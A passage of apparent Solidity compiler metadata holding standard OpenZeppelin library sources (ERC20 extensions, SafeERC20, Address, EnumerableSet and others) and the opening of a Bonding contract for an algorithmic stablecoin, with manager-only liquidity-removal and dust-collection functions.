value);\\n\\n /**\\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\\n * a call to {approve}. `value` is the new allowance.\\n */\\n event Approval(address indexed owner, address indexed spender, uint256 value);\\n}\\n\",\"keccak256\":\"0xf8e8d118a7a8b2e134181f7da655f6266aa3a0f9134b2605747139fcb0c5d835\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../ERC20.sol\\\";\\nimport \\\"../../../utils/Context.sol\\\";\\n\\n/**\\n * @dev Extension of {ERC20} that allows token holders to destroy both their own\\n * tokens and those that they have an allowance for, in a way that can be\\n * recognized off-chain (via event analysis).\\n */\\nabstract contract ERC20Burnable is Context, ERC20 {\\n /**\\n * @dev Destroys `amount` tokens from the caller.\\n *\\n * See {ERC20-_burn}.\\n */\\n function burn(uint256 amount) public virtual {\\n _burn(_msgSender(), amount);\\n }\\n\\n /**\\n * @dev Destroys `amount` tokens from `account`, deducting from the caller's\\n * allowance.\\n *\\n * See {ERC20-_burn} and {ERC20-allowance}.\\n *\\n * Requirements:\\n *\\n * - the caller must have allowance for ``accounts``'s tokens of at least\\n * `amount`.\\n */\\n function burnFrom(address account, uint256 amount) public virtual {\\n uint256 currentAllowance = allowance(account, _msgSender());\\n require(currentAllowance >= amount, \\\"ERC20: burn amount exceeds allowance\\\");\\n _approve(account, _msgSender(), currentAllowance - amount);\\n _burn(account, amount);\\n }\\n}\\n\",\"keccak256\":\"0xb8cc16fa5514ccbff1123c566ec0a21682f1ded0ca7e5df719c6bd0b7429390a\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/extensions/ERC20Pausable.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../ERC20.sol\\\";\\nimport \\\"../../../security/Pausable.sol\\\";\\n\\n/**\\n * @dev ERC20 token with pausable token transfers, minting and burning.\\n *\\n * Useful for scenarios such as preventing trades until the end of an evaluation\\n * period, or having an emergency switch for freezing all token transfers in the\\n * event of a large bug.\\n */\\nabstract contract ERC20Pausable is ERC20, Pausable {\\n /**\\n * @dev See {ERC20-_beforeTokenTransfer}.\\n *\\n * Requirements:\\n *\\n * - the contract must not be paused.\\n */\\n function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {\\n super._beforeTokenTransfer(from, to, amount);\\n\\n require(!paused(), \\\"ERC20Pausable: token transfer while paused\\\");\\n }\\n}\\n\",\"keccak256\":\"0x86b0abb859d38e6909101e8dce6fad76543cd1443788b049fd182379b42cb6e3\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../IERC20.sol\\\";\\n\\n/**\\n * @dev Interface for the optional metadata functions from the ERC20 standard.\\n *\\n * _Available since v4.1._\\n */\\ninterface IERC20Metadata is IERC20 {\\n /**\\n * @dev Returns the name of the token.\\n */\\n function name() external view returns (string memory);\\n\\n /**\\n * @dev Returns the symbol of the token.\\n */\\n function symbol() external view returns (string memory);\\n\\n /**\\n * @dev Returns the decimals places of the token.\\n */\\n function decimals() external view returns (uint8);\\n}\\n\",\"keccak256\":\"0x83fe24f5c04a56091e50f4a345ff504c8bff658a76d4c43b16878c8f940c53b2\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../IERC20.sol\\\";\\nimport \\\"../../../utils/Address.sol\\\";\\n\\n/**\\n * @title SafeERC20\\n * @dev Wrappers around ERC20 operations that throw on failure (when the token\\n * contract returns false). Tokens that return no value (and instead revert or\\n * throw on failure) are also supported, non-reverting calls are assumed to be\\n * successful.\\n * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,\\n * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.\\n */\\nlibrary SafeERC20 {\\n using Address for address;\\n\\n function safeTransfer(IERC20 token, address to, uint256 value) internal {\\n _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));\\n }\\n\\n function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {\\n _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));\\n }\\n\\n /**\\n * @dev Deprecated. This function has issues similar to the ones found in\\n * {IERC20-approve}, and its usage is discouraged.\\n *\\n * Whenever possible, use {safeIncreaseAllowance} and\\n * {safeDecreaseAllowance} instead.\\n */\\n function safeApprove(IERC20 token, address spender, uint256 value) internal {\\n // safeApprove should only be called when setting an initial allowance,\\n // or when resetting it to zero. To increase and decrease it, use\\n // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'\\n // solhint-disable-next-line max-line-length\\n require((value == 0) || (token.allowance(address(this), spender) == 0),\\n \\\"SafeERC20: approve from non-zero to non-zero allowance\\\"\\n );\\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));\\n }\\n\\n function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {\\n uint256 newAllowance = token.allowance(address(this), spender) + value;\\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\\n }\\n\\n function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {\\n unchecked {\\n uint256 oldAllowance = token.allowance(address(this), spender);\\n require(oldAllowance >= value, \\\"SafeERC20: decreased allowance below zero\\\");\\n uint256 newAllowance = oldAllowance - value;\\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\\n }\\n }\\n\\n /**\\n * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\\n * on the return value: the return value is optional (but if data is returned, it must not be false).\\n * @param token The token targeted by the call.\\n * @param data The call data (encoded using abi.encode or one of its variants).\\n */\\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\\n // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since\\n // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that\\n // the target address contains contract code and also asserts for success in the low-level call.\\n\\n bytes memory returndata = address(token).functionCall(data, \\\"SafeERC20: low-level call failed\\\");\\n if (returndata.length > 0) { // Return data is optional\\n // solhint-disable-next-line max-line-length\\n require(abi.decode(returndata, (bool)), \\\"SafeERC20: ERC20 operation did not succeed\\\");\\n }\\n }\\n}\\n\",\"keccak256\":\"0x99f5c21018d796db7833a2100bb0e7411999e248a3c950fb526eee5d2bf47cb7\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/Address.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Collection of functions related to the address type\\n */\\nlibrary Address {\\n /**\\n * @dev Returns true if `account` is a contract.\\n *\\n * [IMPORTANT]\\n * ====\\n * It is unsafe to assume that an address for which this function returns\\n * false is an externally-owned account (EOA) and not a contract.\\n *\\n * Among others, `isContract` will return false for the following\\n * types of addresses:\\n *\\n * - an externally-owned account\\n * - a contract in construction\\n * - an address where a contract will be created\\n * - an address where a contract lived, but was destroyed\\n * ====\\n */\\n function isContract(address account) internal view returns (bool) {\\n // This method relies on extcodesize, which returns 0 for contracts in\\n // construction, since the code is only stored at the end of the\\n // constructor execution.\\n\\n uint256 size;\\n // solhint-disable-next-line no-inline-assembly\\n assembly { size := extcodesize(account) }\\n return size > 0;\\n }\\n\\n /**\\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\\n * `recipient`, forwarding all available gas and reverting on errors.\\n *\\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\\n * imposed by `transfer`, making them unable to receive funds via\\n * `transfer`. {sendValue} removes this limitation.\\n *\\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\\n *\\n * IMPORTANT: because control is transferred to `recipient`, care must be\\n * taken to not create reentrancy vulnerabilities. Consider using\\n * {ReentrancyGuard} or the\\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\\n */\\n function sendValue(address payable recipient, uint256 amount) internal {\\n require(address(this).balance >= amount, \\\"Address: insufficient balance\\\");\\n\\n // solhint-disable-next-line avoid-low-level-calls, avoid-call-value\\n (bool success, ) = recipient.call{ value: amount }(\\\"\\\");\\n require(success, \\\"Address: unable to send value, recipient may have reverted\\\");\\n }\\n\\n /**\\n * @dev Performs a Solidity function call using a low level `call`. A\\n * plain`call` is an unsafe replacement for a function call: use this\\n * function instead.\\n *\\n * If `target` reverts with a revert reason, it is bubbled up by this\\n * function (like regular Solidity function calls).\\n *\\n * Returns the raw returned data. To convert to the expected return value,\\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\\n *\\n * Requirements:\\n *\\n * - `target` must be a contract.\\n * - calling `target` with `data` must not revert.\\n *\\n * _Available since v3.1._\\n */\\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\\n return functionCall(target, data, \\\"Address: low-level call failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\\n * `errorMessage` as a fallback revert reason when `target` reverts.\\n *\\n * _Available since v3.1._\\n */\\n function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {\\n return functionCallWithValue(target, data, 0, errorMessage);\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\\n * but also transferring `value` wei to `target`.\\n *\\n * Requirements:\\n *\\n * - the calling contract must have an ETH balance of at least `value`.\\n * - the called Solidity function must be `payable`.\\n *\\n * _Available since v3.1._\\n */\\n function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {\\n return functionCallWithValue(target, data, value, \\\"Address: low-level call with value failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\\n * with `errorMessage` as a fallback revert reason when `target` reverts.\\n *\\n * _Available since v3.1._\\n */\\n function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {\\n require(address(this).balance >= value, \\\"Address: insufficient balance for call\\\");\\n require(isContract(target), \\\"Address: call to non-contract\\\");\\n\\n // solhint-disable-next-line avoid-low-level-calls\\n (bool success, bytes memory returndata) = target.call{ value: value }(data);\\n return _verifyCallResult(success, returndata, errorMessage);\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\\n * but performing a static call.\\n *\\n * _Available since v3.3._\\n */\\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\\n return functionStaticCall(target, data, \\\"Address: low-level static call failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\\n * but performing a static call.\\n *\\n * _Available since v3.3._\\n */\\n function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {\\n require(isContract(target), \\\"Address: static call to non-contract\\\");\\n\\n // solhint-disable-next-line avoid-low-level-calls\\n (bool success, bytes memory returndata) = target.staticcall(data);\\n return _verifyCallResult(success, returndata, errorMessage);\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\\n * but performing a delegate call.\\n *\\n * _Available since v3.4._\\n */\\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\\n return functionDelegateCall(target, data, \\\"Address: low-level delegate call failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\\n * but performing a delegate call.\\n *\\n * _Available since v3.4._\\n */\\n function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {\\n require(isContract(target), \\\"Address: delegate call to non-contract\\\");\\n\\n // solhint-disable-next-line avoid-low-level-calls\\n (bool success, bytes memory returndata) = target.delegatecall(data);\\n return _verifyCallResult(success, returndata, errorMessage);\\n }\\n\\n function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {\\n if (success) {\\n return returndata;\\n } else {\\n // Look for revert reason and bubble it up if present\\n if (returndata.length > 0) {\\n // The easiest way to bubble the revert reason is using memory via assembly\\n\\n // solhint-disable-next-line no-inline-assembly\\n assembly {\\n let returndata_size := mload(returndata)\\n revert(add(32, returndata), returndata_size)\\n }\\n } else {\\n revert(errorMessage);\\n }\\n }\\n }\\n}\\n\",\"keccak256\":\"0x069b2631bb5b5193a58ccf7a06266c7361bd2c20095667af4402817605627f45\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/Context.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/*\\n * @dev Provides information about the current execution context, including the\\n * sender of the transaction and its data. While these are generally available\\n * via msg.sender and msg.data, they should not be accessed in such a direct\\n * manner, since when dealing with meta-transactions the account sending and\\n * paying for execution may not be the actual sender (as far as an application\\n * is concerned).\\n *\\n * This contract is only required for intermediate, library-like contracts.\\n */\\nabstract contract Context {\\n function _msgSender() internal view virtual returns (address) {\\n return msg.sender;\\n }\\n\\n function _msgData() internal view virtual returns (bytes calldata) {\\n this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691\\n return msg.data;\\n }\\n}\\n\",\"keccak256\":\"0xf930d2df426bfcfc1f7415be724f04081c96f4fb9ec8d0e3a521c07692dface0\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/Strings.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev String operations.\\n */\\nlibrary Strings {\\n bytes16 private constant alphabet = \\\"0123456789abcdef\\\";\\n\\n /**\\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\\n */\\n function toString(uint256 value) internal pure returns (string memory) {\\n // Inspired by OraclizeAPI's implementation - MIT licence\\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\\n\\n if (value == 0) {\\n return \\\"0\\\";\\n }\\n uint256 temp = value;\\n uint256 digits;\\n while (temp != 0) {\\n digits++;\\n temp /= 10;\\n }\\n bytes memory buffer = new bytes(digits);\\n while (value != 0) {\\n digits -= 1;\\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\\n value /= 10;\\n }\\n return string(buffer);\\n }\\n\\n /**\\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\\n */\\n function toHexString(uint256 value) internal pure returns (string memory) {\\n if (value == 0) {\\n return \\\"0x00\\\";\\n }\\n uint256 temp = value;\\n uint256 length = 0;\\n while (temp != 0) {\\n length++;\\n temp >>= 8;\\n }\\n return toHexString(value, length);\\n }\\n\\n /**\\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\\n */\\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\\n bytes memory buffer = new bytes(2 * length + 2);\\n buffer[0] = \\\"0\\\";\\n buffer[1] = \\\"x\\\";\\n for (uint256 i = 2 * length + 1; i > 1; --i) {\\n buffer[i] = alphabet[value & 0xf];\\n value >>= 4;\\n }\\n require(value == 0, \\\"Strings: hex length insufficient\\\");\\n return string(buffer);\\n }\\n\\n}\\n\",\"keccak256\":\"0x456e9b3a2bfe189b5249857f624f4139e59331db518483b456c4e587a20552e0\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/introspection/ERC165.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"./IERC165.sol\\\";\\n\\n/**\\n * @dev Implementation of the {IERC165} interface.\\n *\\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\\n * for the additional interface id that will be supported. For example:\\n *\\n * ```solidity\\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\\n * }\\n * ```\\n *\\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\\n */\\nabstract contract ERC165 is IERC165 {\\n /**\\n * @dev See {IERC165-supportsInterface}.\\n */\\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\\n return interfaceId == type(IERC165).interfaceId;\\n }\\n}\\n\",\"keccak256\":\"0x5718c5df9bd67ac68a796961df938821bb5dc0cd4c6118d77e9145afb187409b\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/introspection/IERC165.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Interface of the ERC165 standard, as defined in the\\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\\n *\\n * Implementers can declare support of contract interfaces, which can then be\\n * queried by others ({ERC165Checker}).\\n *\\n * For an implementation, see {ERC165}.\\n */\\ninterface IERC165 {\\n /**\\n * @dev Returns true if this contract implements the interface defined by\\n * `interfaceId`. See the corresponding\\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\\n * to learn more about how these ids are created.\\n *\\n * This function call must use less than 30 000 gas.\\n */\\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\\n}\\n\",\"keccak256\":\"0xa28007762d9da9db878dd421960c8cb9a10471f47ab5c1b3309bfe48e9e79ff4\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/structs/EnumerableSet.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Library for managing\\n * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive\\n * types.\\n *\\n * Sets have the following properties:\\n *\\n * - Elements are added, removed, and checked for existence in constant time\\n * (O(1)).\\n * - Elements are enumerated in O(n). No guarantees are made on the ordering.\\n *\\n * ```\\n * contract Example {\\n * // Add the library methods\\n * using EnumerableSet for EnumerableSet.AddressSet;\\n *\\n * // Declare a set state variable\\n * EnumerableSet.AddressSet private mySet;\\n * }\\n * ```\\n *\\n * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)\\n * and `uint256` (`UintSet`) are supported.\\n */\\nlibrary EnumerableSet {\\n // To implement this library for multiple types with as little code\\n // repetition as possible, we write it in terms of a generic Set type with\\n // bytes32 values.\\n // The Set implementation uses private functions, and user-facing\\n // implementations (such as AddressSet) are just wrappers around the\\n // underlying Set.\\n // This means that we can only create new EnumerableSets for types that fit\\n // in bytes32.\\n\\n struct Set {\\n // Storage of set values\\n bytes32[] _values;\\n\\n // Position of the value in the `values` array, plus 1 because index 0\\n // means a value is not in the set.\\n mapping (bytes32 => uint256) _indexes;\\n }\\n\\n /**\\n * @dev Add a value to a set. O(1).\\n *\\n * Returns true if the value was added to the set, that is if it was not\\n * already present.\\n */\\n function _add(Set storage set, bytes32 value) private returns (bool) {\\n if (!_contains(set, value)) {\\n set._values.push(value);\\n // The value is stored at length-1, but we add 1 to all indexes\\n // and use 0 as a sentinel value\\n set._indexes[value] = set._values.length;\\n return true;\\n } else {\\n return false;\\n }\\n }\\n\\n /**\\n * @dev Removes a value from a set. O(1).\\n *\\n * Returns true if the value was removed from the set, that is if it was\\n * present.\\n */\\n function _remove(Set storage set, bytes32 value) private returns (bool) {\\n // We read and store the value's index to prevent multiple reads from the same storage slot\\n uint256 valueIndex = set._indexes[value];\\n\\n if (valueIndex != 0) { // Equivalent to contains(set, value)\\n // To delete an element from the _values array in O(1), we swap the element to delete with the last one in\\n // the array, and then remove the last element (sometimes called as 'swap and pop').\\n // This modifies the order of the array, as noted in {at}.\\n\\n uint256 toDeleteIndex = valueIndex - 1;\\n uint256 lastIndex = set._values.length - 1;\\n\\n // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs\\n // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.\\n\\n bytes32 lastvalue = set._values[lastIndex];\\n\\n // Move the last value to the index where the value to delete is\\n set._values[toDeleteIndex] = lastvalue;\\n // Update the index for the moved value\\n set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex\\n\\n // Delete the slot where the moved value was stored\\n set._values.pop();\\n\\n // Delete the index for the deleted slot\\n delete set._indexes[value];\\n\\n return true;\\n } else {\\n return false;\\n }\\n }\\n\\n /**\\n * @dev Returns true if the value is in the set. O(1).\\n */\\n function _contains(Set storage set, bytes32 value) private view returns (bool) {\\n return set._indexes[value] != 0;\\n }\\n\\n /**\\n * @dev Returns the number of values on the set. O(1).\\n */\\n function _length(Set storage set) private view returns (uint256) {\\n return set._values.length;\\n }\\n\\n /**\\n * @dev Returns the value stored at position `index` in the set. O(1).\\n *\\n * Note that there are no guarantees on the ordering of values inside the\\n * array, and it may change when more values are added or removed.\\n *\\n * Requirements:\\n *\\n * - `index` must be strictly less than {length}.\\n */\\n function _at(Set storage set, uint256 index) private view returns (bytes32) {\\n require(set._values.length > index, \\\"EnumerableSet: index out of bounds\\\");\\n return set._values[index];\\n }\\n\\n // Bytes32Set\\n\\n struct Bytes32Set {\\n Set _inner;\\n }\\n\\n /**\\n * @dev Add a value to a set. O(1).\\n *\\n * Returns true if the value was added to the set, that is if it was not\\n * already present.\\n */\\n function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {\\n return _add(set._inner, value);\\n }\\n\\n /**\\n * @dev Removes a value from a set. O(1).\\n *\\n * Returns true if the value was removed from the set, that is if it was\\n * present.\\n */\\n function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {\\n return _remove(set._inner, value);\\n }\\n\\n /**\\n * @dev Returns true if the value is in the set. O(1).\\n */\\n function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {\\n return _contains(set._inner, value);\\n }\\n\\n /**\\n * @dev Returns the number of values in the set. O(1).\\n */\\n function length(Bytes32Set storage set) internal view returns (uint256) {\\n return _length(set._inner);\\n }\\n\\n /**\\n * @dev Returns the value stored at position `index` in the set. O(1).\\n *\\n * Note that there are no guarantees on the ordering of values inside the\\n * array, and it may change when more values are added or removed.\\n *\\n * Requirements:\\n *\\n * - `index` must be strictly less than {length}.\\n */\\n function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {\\n return _at(set._inner, index);\\n }\\n\\n // AddressSet\\n\\n struct AddressSet {\\n Set _inner;\\n }\\n\\n /**\\n * @dev Add a value to a set. O(1).\\n *\\n * Returns true if the value was added to the set, that is if it was not\\n * already present.\\n */\\n function add(AddressSet storage set, address value) internal returns (bool) {\\n return _add(set._inner, bytes32(uint256(uint160(value))));\\n }\\n\\n /**\\n * @dev Removes a value from a set. O(1).\\n *\\n * Returns true if the value was removed from the set, that is if it was\\n * present.\\n */\\n function remove(AddressSet storage set, address value) internal returns (bool) {\\n return _remove(set._inner, bytes32(uint256(uint160(value))));\\n }\\n\\n /**\\n * @dev Returns true if the value is in the set. O(1).\\n */\\n function contains(AddressSet storage set, address value) internal view returns (bool) {\\n return _contains(set._inner, bytes32(uint256(uint160(value))));\\n }\\n\\n /**\\n * @dev Returns the number of values in the set. O(1).\\n */\\n function length(AddressSet storage set) internal view returns (uint256) {\\n return _length(set._inner);\\n }\\n\\n /**\\n * @dev Returns the value stored at position `index` in the set. O(1).\\n *\\n * Note that there are no guarantees on the ordering of values inside the\\n * array, and it may change when more values are added or removed.\\n *\\n * Requirements:\\n *\\n * - `index` must be strictly less than {length}.\\n */\\n function at(AddressSet storage set, uint256 index) internal view returns (address) {\\n return address(uint160(uint256(_at(set._inner, index))));\\n }\\n\\n\\n // UintSet\\n\\n struct UintSet {\\n Set _inner;\\n }\\n\\n /**\\n * @dev Add a value to a set. O(1).\\n *\\n * Returns true if the value was added to the set, that is if it was not\\n * already present.\\n */\\n function add(UintSet storage set, uint256 value) internal returns (bool) {\\n return _add(set._inner, bytes32(value));\\n }\\n\\n /**\\n * @dev Removes a value from a set. O(1).\\n *\\n * Returns true if the value was removed from the set, that is if it was\\n * present.\\n */\\n function remove(UintSet storage set, uint256 value) internal returns (bool) {\\n return _remove(set._inner, bytes32(value));\\n }\\n\\n /**\\n * @dev Returns true if the value is in the set. O(1).\\n */\\n function contains(UintSet storage set, uint256 value) internal view returns (bool) {\\n return _contains(set._inner, bytes32(value));\\n }\\n\\n /**\\n * @dev Returns the number of values on the set. O(1).\\n */\\n function length(UintSet storage set) internal view returns (uint256) {\\n return _length(set._inner);\\n }\\n\\n /**\\n * @dev Returns the value stored at position `index` in the set. O(1).\\n *\\n * Note that there are no guarantees on the ordering of values inside the\\n * array, and it may change when more values are added or removed.\\n *\\n * Requirements:\\n *\\n * - `index` must be strictly less than {length}.\\n */\\n function at(UintSet storage set, uint256 index) internal view returns (uint256) {\\n return uint256(_at(set._inner, index));\\n }\\n}\\n\",\"keccak256\":\"0x4878ef6c288f4cef3c2a288d32cc548c648831cc55503ad3d9a581ed3b93aad9\",\"license\":\"MIT\"},\"contracts/Bonding.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/token/ERC20/IERC20.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\\\";\\nimport \\\"./interfaces/IERC1155Ubiquity.sol\\\";\\nimport \\\"./interfaces/IMetaPool.sol\\\";\\nimport \\\"./interfaces/IUbiquityFormulas.sol\\\";\\nimport \\\"./UbiquityAlgorithmicDollar.sol\\\";\\nimport \\\"./UbiquityAlgorithmicDollarManager.sol\\\";\\nimport \\\"./interfaces/ISablier.sol\\\";\\nimport \\\"./interfaces/IMasterChef.sol\\\";\\nimport \\\"./interfaces/ITWAPOracle.sol\\\";\\nimport \\\"./interfaces/IERC1155Ubiquity.sol\\\";\\nimport \\\"./utils/CollectableDust.sol\\\";\\n\\ncontract Bonding is CollectableDust {\\n using SafeERC20 for IERC20;\\n\\n bytes public data = \\\"\\\";\\n UbiquityAlgorithmicDollarManager public manager;\\n\\n uint256 public constant ONE = uint256(1 ether); // 3Crv has 18 decimals\\n ISablier public sablier;\\n uint256 public bondingDiscountMultiplier = uint256(1000000 gwei); // 0.001\\n uint256 public redeemStreamTime = 86400; // 1 day in seconds\\n uint256 public blockCountInAWeek = 45361;\\n uint256 public blockRonding = 100;\\n uint256 public uGOVPerBlock = 1;\\n\\n event MaxBondingPriceUpdated(uint256 _maxBondingPrice);\\n event SablierUpdated(address _sablier);\\n event BondingDiscountMultiplierUpdated(uint256 _bondingDiscountMultiplier);\\n event RedeemStreamTimeUpdated(uint256 _redeemStreamTime);\\n event BlockRondingUpdated(uint256 _blockRonding);\\n event BlockCountInAWeekUpdated(uint256 _blockCountInAWeek);\\n event UGOVPerBlockUpdated(uint256 _uGOVPerBlock);\\n\\n modifier onlyBondingManager() {\\n require(\\n manager.hasRole(manager.BONDING_MANAGER_ROLE(), msg.sender),\\n \\\"Caller is not a bonding manager\\\"\\n );\\n _;\\n }\\n\\n constructor(address _manager, address _sablier) CollectableDust() {\\n manager = UbiquityAlgorithmicDollarManager(_manager);\\n sablier = ISablier(_sablier);\\n }\\n\\n // solhint-disable-next-line no-empty-blocks\\n receive() external payable {}\\n\\n /// @dev uADPriceReset remove uAD unilateraly from the curve LP share sitting inside\\n /// the bonding contract and send the uAD received to the treasury.\\n /// This will have the immediate effect of pushing the uAD price HIGHER\\n /// @param amount of LP token to be removed for uAD\\n /// @notice it will remove one coin only from the curve LP share sitting in the bonding contract\\n function uADPriceReset(uint256 amount) external onlyBondingManager {\\n IMetaPool metaPool = IMetaPool(manager.stableSwapMetaPoolAddress());\\n // safe approve\\n IERC20(manager.stableSwapMetaPoolAddress()).safeApprove(\\n address(this),\\n amount\\n );\\n // remove one coin\\n uint256 expected =\\n (metaPool.calc_withdraw_one_coin(amount, 0) * 99) / 100;\\n // update twap\\n metaPool.remove_liquidity_one_coin(amount, 0, expected);\\n ITWAPOracle(manager.twapOracleAddress()).update();\\n IERC20(manager.dollarTokenAddress()).safeTransfer(\\n manager.treasuryAddress(),\\n IERC20(manager.dollarTokenAddress()).balanceOf(address(this))\\n );\\n }\\n\\n /// @dev crvPriceReset remove 3CRV unilateraly from the curve LP share sitting inside\\n /// the bonding contract and send the 3CRV received to the treasury\\n /// This will have the immediate effect of pushing the uAD price LOWER\\n /// @param amount of LP token to be removed for 3CRV tokens\\n /// @notice it will remove one coin only from the curve LP share sitting in the bonding contract\\n function crvPriceReset(uint256 amount) external onlyBondingManager {\\n IMetaPool metaPool = IMetaPool(manager.stableSwapMetaPoolAddress());\\n // safe approve\\n IERC20(manager.stableSwapMetaPoolAddress()).safeApprove(\\n address(this),\\n amount\\n );\\n // remove one coin\\n uint256 expected =\\n (metaPool.calc_withdraw_one_coin(amount, 1) * 99) / 100;\\n // update twap\\n metaPool.remove_liquidity_one_coin(amount, 1, expected);\\n ITWAPOracle(manager.twapOracleAddress()).update();\\n IERC20(manager.curve3PoolTokenAddress()).safeTransfer(\\n manager.treasuryAddress(),\\n IERC20(manager.curve3PoolTokenAddress()).balanceOf(address(this))\\n );\\n }\\n\\n /// Collectable Dust\\n function addProtocolToken(address _token)\\n external\\n override\\n onlyBondingManager\\n {\\n _addProtocolToken(_token);\\n }\\n\\n function removeProtocolToken(address _token)\\n external\\n override\\n onlyBondingManager\\n {\\n _removeProtocolToken(_token);\\n }\\n\\n function sendDust(\\n address _to,\\n address _token,\\n uint256 _amount\\n ) external 